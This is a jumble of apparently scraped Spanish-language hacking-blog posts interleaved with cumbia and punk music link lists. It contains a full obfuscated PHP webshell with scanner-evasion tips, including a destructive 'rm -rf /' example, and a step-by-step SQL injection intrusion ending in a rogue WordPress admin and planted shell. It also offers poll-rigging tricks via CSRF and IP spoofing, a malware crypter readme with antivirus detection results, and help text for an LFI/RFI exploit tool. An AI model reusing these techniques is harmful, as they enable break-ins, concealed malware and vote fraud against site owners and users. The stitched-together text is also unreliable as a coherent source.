http://xd-blog.com.ar/descargas/programas/cookie_login_bypass/script.1.0.user.js

• Strings largas: Si codificas con base64 una shell comun vas a tener un string muy largo y va a saltar al toque. Simplemente metemos espacios para separar el string, base64_decode los va a ignorar
• Entropia: Cuanta mas variado es el contendido del archivo, mas va a llamar la atención:
  

  	def calculate(self,data,filename):
  		"""Calculate the entropy for 'data' and append result to entropy_results array."""
  
  		if not data:
  			return 0
  		entropy = 0
  		for x in range(256):
  			p_x = float(data.count(chr(x)))/len(data)
  			if p_x > 0:
  				entropy += - p_x * math.log(p_x, 2)
  		self.results.append({"filename":filename, "value":entropy})
  		return entropy

  
  Si metemos espacios despues de cada caracter del string en base64 aumentamos el largo del archivo y la entropia va a ser menor. Tambien se puede agregar un comentario con aaaaaaaaaaaaaaaaaaaaaaaaa(metele a’s hasta que la entropia baje lo suficiente)
• Indice de coincidencia: No le di bola, la una shell que encontró fue la que estaba despues de una imagen
• Firmas: Hay que evitar usar eval(), system() y demas funciones comunes en las webshells. Se pueden usar funciones globales asi:
  

  $a = 'sys'.'tem'; 
  $a('rm -rf /');

  
  eval() no es una función pero se puede reemplazar por algo asi:

  file_put_contents('/tmp/asd', 'codigo'); 
  include('/tmp/asd');
  

Este codigo se esconde joya en un directorio de wordpress 3:

<?PHP
$b = 'bas'.'e64'.'_de'.'code';
file_put_contents('/tmp/asd', $b('P D 9 Q S F A K Z n V u Y 3 R p b 2 4 g b G x l a H M o J G N t Z C w g J G F y c m F 5 I D 0 g d H J 1 Z S l 7 C i A g I C B p Z i A o I W V t c H R 5 K C R j b W Q p K X s K I C A g I C A g I C B p Z i A o Y G V j a G 8 g Y W A p e y A k c 2 F s a W R h W 1 0 9 K G A k Y 2 1 k Y C k 7 I C R z Y W x p Z G F b X T 0 n T W 9 k b z o g Y C R j b W R g J z t 9 C i A g I C A g I C A g C i A g I C A g I C A g Z W x z Z W l m I C h z a G V s b H B v c G V u K C d l Y 2 h v I G E n K S l 7 J H N h b G l k Y V t d P X N o Z W x s c G 9 w Z W 4 o J G N t Z C k 7 I C R z Y W x p Z G F b X T 0 n T W 9 k b z o g c G 9 w Z W 4 o J G N t Z C k n O 3 0 K I C A g I C A g I C A K I C A g I C A g I C B l b H N l a W Y g K H N o Z W x s X 2 V 4 Z W M o J 2 V j a G 8 g Y S c p K X s k c 2 F s a W R h W 1 0 9 c 2 h l b G x f Z X h l Y y g k Y 2 1 k K T s g J H N h b G l k Y V t d P S d N b 2 R v O i B z a G V s b F 9 l e G V j K C R j b W Q p J z t 9 C i A g I C A g I C A g C i A g I C A g I C A g Z W x z Z W l m I C h l e G V j K C d l Y 2 h v I G E n K S l 7 J H N h b G l k Y V t d P W V 4 Z W M o J G N t Z C k 7 I C R z Y W x p Z G F b X T 0 n T W 9 k b z o g Z X h l Y y g k Y 2 1 k K S c 7 f Q o g I C A g I C A g I A o g I C A g I C A g I G V s c 2 V p Z i A o c 3 l z d G V t c m V 0 d X J u K C d l Y 2 h v I G E n K S l 7 J H N h b G l k Y V t d P X N 5 c 3 R l b X J l d H V y b i g k Y 2 1 k K T s g J H N h b G l k Y V t d P S d N b 2 R v O i B z e X N 0 Z W 0 o J G N t Z C k n O 3 0 K I C A g I C A g I C A K I C A g I C A g I C B l b H N l a W Y g K H B h c 3 N 0 a H J 1 c m V 0 d X J u K C d l Y 2 h v I G E n K S l 7 J H N h b G l k Y V t d P X B h c 3 N 0 a H J 1 c m V 0 d X J u K C R j b W Q p O y A k c 2 F s a W R h W 1 0 9 J 0 1 v Z G 8 6 I H B h c 3 N 0 a H J 1 K C R j b W Q p J z t 9 C i A g I C A g I C A K I C A g I C A g I C B l b H N l a W Y g K H N o Z W x s c H J v Y 2 9 w Z W 4 o J 2 V j a G 8 g Y S c p K X s k c 2 F s a W R h W 1 0 9 c 2 h l b G x w c m 9 j b 3 B l b i g k Y 2 1 k K T s g J H N h b G l k Y V t d P S d N b 2 R v O i B w c m 9 j X 2 9 w Z W 4 o J G N t Z C k n O 3 0 K I C A g I C A g I A o g I C A g I C A g I G V s c 2 V p Z i A o c 2 h l b G x w Y 2 5 0 b C g n Z W N o b y B h J y k p e y R z Y W x p Z G F b X T 1 z a G V s b H B j b n R s K C R j b W Q p O y A k c 2 F s a W R h W 1 0 9 J 0 1 v Z G 8 6 I H B j b n R s X 2 V 4 Z W M o J G N t Z C k n O 3 0 K I C A g I C A g I C A K I C A g I C A g I C B p Z i A o J G F y c m F 5 K X s K I C A g I C A g I C A g I C A g c m V 0 d X J u I C R z Y W x p Z G E 7 C i A g I C A g I C A g f W V s c 2 V 7 C i A g I C A g I C A g I C A g I H J l d H V y b i A k c 2 F s a W R h W z B d O w o g I C A g I C A g I H 0 K I C A g I H 1 l b H N l e w o g I C A g I C A g I H J l d H V y b i B m Y W x z Z T s K I C A g I H 0 K f Q p m d W 5 j d G l v b i B z a G V s b H B v c G V u K C R j b W Q p e w o v K i B m d W V u d G U 6 I G F u d G l j a G F 0 I H d l Y n N o Z W x s I H Y x L j M g K i 8 K I C B p Z i g k Z n A g P S B w b 3 B l b i g k Y 2 1 k L C d y J y k p e y A K I C A g I C R y Z X N 1 b H Q g P S A n J z s K I C A g I H d o a W x l K C F m Z W 9 m K C R m c C k p e y R y Z X N 1 b H Q u P W Z y Z W F k K C R m c C w x M D I 0 K T t 9 C i A g I C B w Y 2 x v c 2 U o J G Z w K T s K I C A K I C A g I C R y Z X Q g P S A k c m V z d W x 0 O w o g I C A g J H J l d C A 9 I G N v b n Z l c n R f Y 3 l y X 3 N 0 c m l u Z y g k c m V 0 L C d k J y w n d y c p O w o g I C A g c m V 0 d X J u I C R y Z X Q 7 C i A g f W V s c 2 V 7 C i A g I C B y Z X R 1 c m 4 g Z m F s c 2 U 7 C i A g f Q p 9 C m Z 1 b m N 0 a W 9 u I H N 5 c 3 R l b X J l d H V y b i g k Y 2 1 k K X s K I C A g I G 9 i X 2 Z s d X N o K C k 7 C i A g I C B v Y l 9 z d G F y d C g p O w o g I C A g I C A g I H N 5 c 3 R l b S g k Y 2 1 k K T s K I C A g I C A g I C A k c 2 F s a W R h I D 0 g b 2 J f Z 2 V 0 X 2 N s Z W F u K C k 7 C i A g I C B v Y l 9 l b m R f Y 2 x l Y W 4 o K T s K I C A g I H J l d H V y b i A k c 2 F s a W R h O w p 9 C m Z 1 b m N 0 a W 9 u I H B h c 3 N 0 a H J 1 c m V 0 d X J u K C R j b W Q p e w o g I C A g b 2 J f Z m x 1 c 2 g o K T s K I C A g I G 9 i X 3 N 0 Y X J 0 K C k 7 C i A g I C A g I C A g c G F z c 3 R o c n U o J G N t Z C k 7 C i A g I C A g I C A g J H N h b G l k Y S A 9 I G 9 i X 2 d l d F 9 j b G V h b i g p O w o g I C A g b 2 J f Z W 5 k X 2 N s Z W F u K C k 7 C i A g I C B y Z X R 1 c m 4 g J H N h b G l k Y T s K f Q p m d W 5 j d G l v b i B z a G V s b H B y b 2 N v c G V u K C R j b W Q p e w o g I C A g J G R l c 2 N y a X B 0 b 3 J z c G V j I D 0 g Y X J y Y X k o C i A g I C A g I C A w I D 0 + I G F y c m F 5 K C d w a X B l J y w g J 3 I n K S w g C i A g I C A g I C A x I D 0 + I G F y c m F 5 K C d w a X B l J y w g J 3 c n K S w g C i A g I C A g I C A y I D 0 + I G F y c m F 5 K C d w a X B l J y w g J 3 c n K S A K I C A g I C k 7 C i A g I A o g I C A g J H B y b 2 N l c 3 M g P S B w c m 9 j X 2 9 w Z W 4 o J G N t Z C w g J G R l c 2 N y a X B 0 b 3 J z c G V j L C A k c G l w Z X M p O w o g I C A g C i A g I C B p Z i A o a X N f c m V z b 3 V y Y 2 U o J H B y b 2 N l c 3 M p K S B 7 I C A g I A o g I C A g I C A g I G Z j b G 9 z Z S g k c G l w Z X N b M F 0 p O w o g I C A g I C A g I C R z Y W x p Z G E g P S B z d H J l Y W 1 f Z 2 V 0 X 2 N v b n R l b n R z K C R w a X B l c 1 s x X S k 7 C i A g I C A g I C A g Z m N s b 3 N l K C R w a X B l c 1 s x X S k 7 C i A g I C A g I C A g Z m N s b 3 N l K C R w a X B l c 1 s y X S k 7 C i A g I C A g I C A g J H J l d H V y b l 9 2 Y W x 1 Z S A 9 I H B y b 2 N f Y 2 x v c 2 U o J H B y b 2 N l c 3 M p O w o g I C A g I C A g I H J l d H V y b i A k c 2 F s a W R h O w o g I C A g f W V s c 2 V 7 C i A g I C A g I C A g c m V 0 d X J u I G Z h b H N l O w o g I C A g f Q p 9 C m Z 1 b m N 0 a W 9 u I H N o Z W x s c G N u d G w o J G N t Z C l 7 C i A g I C B p Z i g h Z n V u Y 3 R p b 2 5 f Z X h p c 3 R z K C d w Y 2 5 0 b F 9 l e G V j J y k p e w o g I C A g I C A g I H J l d H V y b i B m Y W x z Z T s K I C A g I H 0 K I C A g I C R h c m d z I D 0 g Z X h w b G 9 k Z S g n I C c s J G N t Z C k 7 C i A g I C A k c G F 0 a C A 9 I C R h c m d z W z B d O w o g I C A g d W 5 z Z X Q o J G F y Z 3 N b M F 0 p O w o g I C A g a W Y o c G N u d G x f Z X h l Y y g k c G F 0 a C w k Y X J n c y k 9 P T 1 m Y W x z Z S l 7 C i A g I C A g I C A g c m V 0 d X J u I G Z h b H N l O w o g I C A g f W V s c 2 V 7 C i A g I C A g I C A g c m V 0 d X J u I C d F b C B j b 2 1 h b m R v I G Z 1 Z S B l a m V j d X R h Z G 8 s I H B l c m 8 g b m 8 g c 2 U g c H V k b y B y Z W N 1 c G V y Y X I g b G E g c 2 F s a W R h J z s K I C A g I H 0 K f Q o =                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 '));
include('/tmp/asd');
echo llehs($_GET['c'], false);

Los unicos dos problemas que le encuentro es que se confunde con algunas búsquedas y le falta indexar mas webs para otras, pero en esos casos (que son pocos) pongo !g y ya estoy de vuelta en google.
Dejo algunas busquedas para que vean lo groso que es.

https://duckduckgo.com/, #duckduckgo en freenode

Capaz hay algun brasilero leyendo este texto sobre bypass de filtros?

Buscando la url en google y ddg para ver cuantas webs habian escaneado me encontre con esto:

Una calle me separa – Patada en la nuca

La danza de los mirlos

Su florcita – Placas 92

Su florcita – Turi

La fiesta de tu hermana – Telefono descompuesto

El humo de mi fasito

Yo no se mañana – Expedición ladines

Yo no se mañana – The rotten

Un par de videos que no son cumbia punk pero la rompen:

Nalga – Cumbiagore sabrosona

Para no verte mas – The rotten

En mi exaustiva investigación de la cumbiancha de tres tonos encontré un par de bandas que se zarpan en grosas. Pongo un par de videos, pero hay que bajarse los cds:

El talibán del amor – Dead menems

Socios de paja – Dead menems

Los chetos son buenos – Dead menems

La china es cumbianchera – Kumbia queers

Metamorfosis adolescente – Kumbia queers

Chica de metal – Kumbia queers

No se por que colgué y no puse los videos antes, pero tocó punkycacos en vivo en parque centenario y estan todos los videos en youtube: Anarkia para los guachines

Cuando tenga ganas hago un post re groso sobre oxizakre. Si quieren que lo haga antes, pueden donar bitcoins o fernucos.

http://www.multiupload.com/1391H2REK8

http://xd-blog.com.ar//descargas/ezines/level-23/level-23-1.pdf

Varios son de http://www.skullsecurity.org/wiki/index.php/Passwords

Puede ser que pare el phishing, pero para copypastear las urls en el jdownloader rompia mucho las pelotas, ahi que hice este script para greasemonkey:

// ==UserScript==

// @name           taringa

// @namespace      http://xd-blog.com.ar/

// @description    Saca el out?url de taringa

// @include        http://www.taringa.net/*

// ==/UserScript==

//agregar link para reportar spam

var allElements, thisElement, link;

allElements = document.getElementsByTagName(‘a’);

for (var i = 0; i < allElements.length; i++) {

thisElement = allElements[i];

if(thisElement.href.search(‘http://links.itaringa.net/out?’)!=-1){

link = thisElement.href.split(‘http://links.itaringa.net/out?’)

thisElement.href = link[1];

}

}

http://example.com/products.php?id=boxes

Pongo una comilla:

http://example.com/products.php?id=boxes’

y da error:

mysql_query() Error: ‘unclosed quotation mark in /var/www/example/web/products.php’

Inyectamos sin romper la query:
http://example.com/products.php?id=boxes’ and 1=1 — -

Anulamos el select original:
http://example.com/products.php?id=boxes’ and 1=0 — -

Buscamos la cantidad de columnas:
http://example.com/products.php?id=boxes’ and 1=0 union select 1 — -    ==> Muestra “1″
http://example.com/products.php?id=boxes’ and 1=0 union select 1,2 — -   ==> Error
Tiene una columna

Tratamos de leer el archivo (la ruta sale de los errores de las querys invalidas):
http://example.com/products.php?id=boxes’ and 1=0 union select load_file(‘/var/www/example/web/products.php’) — -

Entre otras cosas sale:

Leo database.php:
http://example.com/products.php?id=boxes’ and 1=0 union select load_file(‘/var/www/example/web/database.php’) — -

Entre otras cosas sale:

A pesar de que los nombres de las funciones sugieran otra cosa, las dos funciones conectan a localhost y lo que cambia son el usuario y la contraseña.

Vemos si se puede conectar a mysql desde internet:

Sale algo asi:

Probamos con el primer usuario:

No anda, asi que es lo mismo con el segundo. Funciona

Desde el cliente de mysql trato de escribir una shell:

Probé con varias carpetas que sabia que existian, pero en ninguna tenia permisos de escritura
Seguí bajando archivos con load_file, pero en ninguno encontré vulnerabilidades que no sean sqli.

Miro las bases de datos:

Hay un par de claves hasheadas, alguna están en DBs de hashes, pero no las usamos.
Me llama la atención el wordpress que no habia visto al navegar por la pagina, asi que lo busco con google y de paso me fijo si hay algo mas que no haya visto:

El wordpress resultó estar en /articles/

Despues hay que crear un usuario en wordpress, se guardan en wp_users:

Y hay que imitar el formato de lo que sale:

Después hay que darle privilegios de administrador, para eso se escribe en wp_usermeta:

(no pongo la query, pero es similar a la anterior)

Entré con el usuario nuevo a wordpress (/articles/wp-admin/) y fui al editor de plugins. Habia uno con permisos de escritura, asi que le meti una shell al principio:

Con eso subí una webshell:

Y listo, lo que yo queria era descargarme toda la web. Se podia tratar de rootear o defacear pero no me interesa

Esto va a ser medio croto, pero espero que por lo menos les de ideas

Si te banea por cookies, simplemente se borran las cookies con firecookie, add and edit cookies, etc
https://addons.mozilla.org/es-ES/firefox/addon/add-n-edit-cookies/
https://addons.mozilla.org/es-ES/firefox/addon/firecookie/

Si el ban es por ip:
Se puede tratar de spoofear con X-Forwarded-For:
http://www.elartedeprogramar.cl/seguridad_web/ip_spoofing_14.0.html
https://www.underground.org.mx/index.php?topic=21798.0
Podes usar proxys (tor, foxyproxy, etc)
https://addons.mozilla.org/es-ES/firefox/addon/foxyproxy-standard/
https://duckduckgo.com/?q=proxy+list
https://www.torproject.org/
Se puede usar csrf para que voten otros. Por ejemplo, si la url para votar es http://example.com/vote.php?name=pepe&vote=true, podes poner en la firma del foro [img]http://example.com/vote.php?name=pepe&vote=true[/img]

A veces se puede elegir un puntaje. Me acuerdo de una votación que te permitia darle a cada participante un voto del 1 al 5 y mostraba las opciones en selects. Cambiando el valor con live http headers por 32000, dabas 32k puntos en una sola petición. También podria ser posible darles votos negativos a los demás

Para hacer muchas peticiones:
php + curl, lo mas dificil pero tambien mas flexible http://www.php.net/manual/es/book.curl.php
live http headers, es facil de usar y sirve cuando todas las peticiones son iguales https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/
imacros, es mejor para cuando hay mucho javascript modificando la pagina https://addons.mozilla.org/en-US/firefox/addon/imacros-for-firefox/

Ban por usuario:
A veces tenés que estar registrado para poder votar y cada usuario puede hacerlo una vez sola.
Para crear cuentas rapido, con emails descartables, http://10minutemail.com/10MinuteMail/index.html http://www.guerrillamail.com/
También podes usar cuentas ya existentes. Por ejemplo, en smf ves la lista de usuarios, te fijas cuales tienen 1234 de clave y votas con esas cuentas

File Info

Report date: 2011-05-17 15:00:25 (GMT 1)
File name: spy-net-exe
File size: 282624 bytes
MD5 Hash: 5baf07a70240fdc4f21 93aa84c759ce7
SHA1 Hash: 04a29746c6447897275 9b2513aa18ca5e3e439 7d
Detection rate: 5 on 6 (83%)
Status: INFECTED

Detections

AVG – PSW.Generic8.ISF
Avira AntiVir – TR/Crypt.CFI.Gen
ClamAV – Trojan.Agent-171451
Emsisoft – Worm.Win32.Rebhip!IK
TrendMicro -
Zoner – Trojan.Agent.171451

Scan report generated by
NoVirusThanks.org

File Info

Report date: 2011-05-17 15:02:09 (GMT 1)
File name: anal-exe
File size: 969216 bytes
MD5 Hash: e5655ffe1d229181fbb fc56aef644b8a
SHA1 Hash: fd5977a51cb8a6d2774 17b09b5ea9bce6b8dbd 27
Detection rate: 1 on 6 (17%)
Status: INFECTED

Detections

AVG -
Avira AntiVir -
ClamAV -
Emsisoft -
TrendMicro -
Zoner – Trojan.Small-2497

Scan report generated by
NoVirusThanks.org

En novirusthanks, al stub solo lo detecta zoner, pero no puedo hacer nada porque detecta a todos lo que pasas por bamcompile.
Lo probé en windows xp sp3 y anduvo. En xp sp2 creo que no se oculta la ventana negra del cmd. En vista y 7 ni idea que pasa.

el readme:

>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>Como usarlo>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-La primera vez, ejecut� compile.bat
-Pon� tu icono en lugar de icono.ico
-Pon� el malware en lugar de malware.exe
-Ejecut� crypter.exe
-???
-Profit!

>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>Como funciona>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Tanto el stub como el programa que encripta est�n hechos en php y son pasados a exe con bamcompile
Para entenderlo mejor, explico que es cada archivo:
sauce/ es el directorio con los archivos php
sauce/stub.php es el stub sin modificar
sauce/custom-stub.php es el stub con el malware adentro, listo para convertirlo a exe
sauce/crypter.php encripta el malware, lo mete en el stub y ejecuta bamcompile
compile.bat genera crypter.exe a partir de crypter.php
bamcompile.exe es usado para convertir los php a exe
icono.ico es el icono que se usa en el exe del malware encriptado (por defecto, uno que venia con bamcompile)
malware.exe es el malware sin encriptar (calc.exe para probar)
bamcompile_readme.txt es el readme de bamcompile, puede ser util para indetectar o achicar el resultado
stub.bcp es el archivo que le indica a bamcompile como construir malware-custom.exe
crypter.bcp le indica a bamcompile como construir crypter.exe

El crypter: lee el stub, lee el malware, pasa el malware a base64 (si, no lo encripta en realidad, hay que cambiar esto para que el resultado final sea mas chico), lo mete en lugar de la cadena #REPLACE# en el stub, guarda esto en custom-stub.php y ejecuta bamcompile (con -c para comprimir con upx).
Muestra unas letras que al principio eran para debuguear y las dej� como indicadores de progreso.
Al principio habia hecho el c�digo con file_get_contents() y file_put_contents() pero no servia porque bamcompile usa php 4, asi que copi� las dos funciones de php.net. Hay que cambiar eso por fopen(), fwrite(), fread(), feof() y fclose().

El stub: tiene un lugar reservado : $a=’#REPLACE#’; En custom-stub.php, ahi ya va a estar el malware encriptado y el c�digo va a parecer mas l�gico.
$w es ‘base64_decode’.
$b es la ruta del exe a donde se va a escribir el malware desencriptado.
$e es la ruta del bat, ya voy a explicar eso.
$q = $e, osfuscado
Se escribe el malware desemcriptado en $b
Se escribe en el bat: cmdow.exe @ /HID\nX:/ruta/al/archivo.exe
Eso es para poder ocultar la ventana del cmd con cmdow, aunque no creo que funcione en todas las m�quinas, es otra cosa que hay que mejorar. Adem�s, se llega a ver un segundo la ventana.
Finalmente se ejecuta el bat
Tiene el mismo problema con file_put_contents() que crypter.php

Hay mas problemas, como que los .bcp est�n mal hechos y a todos los .exe les mete todos los archivos de sauce
No puedo hacer que no sea detectado por zoner, eso marca como dropper a cualquier cosa generada con bamcompile
No estoy seguro si es $_ENV['TMP'] o $_ENV['TEMP'], en mi m�quina funcionaban las dos
Malware.exe es demasiado grande y agranda el rar al pedo

Descarga

http://xd-blog.com.ar//descargas/nombres.txt

Turros bailando piola y spiderman bailando piola
Habia una vez un vago que salia a la calle sin chumbo. El loco cantaba en su una bici, pero lo hacia para el orto porque en realidad su especialidad era filosofar sobre los chetos. No se que tiene que ver con esa historia, pero tenes que escuchar shabba ranks
Ok, capaz que estás pensando “si no hay una guitarra no es música”. Te entiendo, asi que esto es para vos: El tano romano tocando ácido argentino en cual es el 13/4/2011. Si te parece que el metal es para putos con tachas y cuero, mirá el video de esta piba punk… Bueno, no. Me dejé llevar por el título pero mas que punk es alguna de esas variedades chotas del metal.
Me cansé de escribir boludeces, dejo links.
El bidón: arriba de la mensa (versión re loca mezclada con abarajame en la bañera, señor cobranza y puto), sucia y tomando birra en lo de daniel
Mayonesa – agachadita
Karibe con k – ni idea el nombre del tema, pero deberia ser “pichones de locomia“
Karibe con k – la pachanga (si, es un cover de vilma palma. Demasiado groso)
Lo mejor, lejos: Warschawjanka y Varshavianka

::~/php/xfi$ php xfi.php –help
+———————————————————————————-+
By seth: xd [-dot-] seth [.at.] gmail {~dot~} com http://xd-blog.com.ar/
v0.1 https://code.google.com/p/xfi/
+———————————————————————————-+

Usage: php xfi.php [options] –url=

Options:
–no-rfi Doesn’t try to exploit RFI.
–no-lfi Doesn’t try to exploit LFI.
–no-inject-logs Doesn’t inject code in apache logs for exploiting LFI.
–method L for lfi. R for rfi. Followed by exploit number. If ommited, will autodetect.
–help function help(){help();}
–url Url to attack.

Examples:
php xfi.php –url=”http://example.com/vuln.php?page=” id
Will try all methods to run id
php xfi.php –no-rfi –no-inject-logs –url=”http://example.com/vuln.php?page=” id
Will try only lfi without injecting code to the logs
php xfi.php –method=R8 –url=”http://example.com/vuln.php?page=” id
Will use the 8th RFI exploit (data: url with null byte in the end)

Destruccion (Yo tengo un pedazo, cover v8)

Gorra basura – antipoliticos (cover mala fama) (repetido, pero es alto tema)

Todavia hay estúpidos que no escucharon esto

Panic show – los lirios (probablemente el mejor tema del post)
Como ali – la repandilla
Droga – Supermerk2 (también es repetido)
Un poco de amor francés – Los del fuego
Aun Estas En Mis Sueños – Los Del Fuego
Persiana Americana – Los del Fuego
De musica ligera – Los palmeras
Los llamadores – La bomba loca
La liga – Se dice de mi
Mil horas – Dedo verde
Mil horas – Altos cumbieros
Una vela – repiola (Otro tema zarpado)

covers cumbia.rar

http://xd-blog.com.ar/makeshell/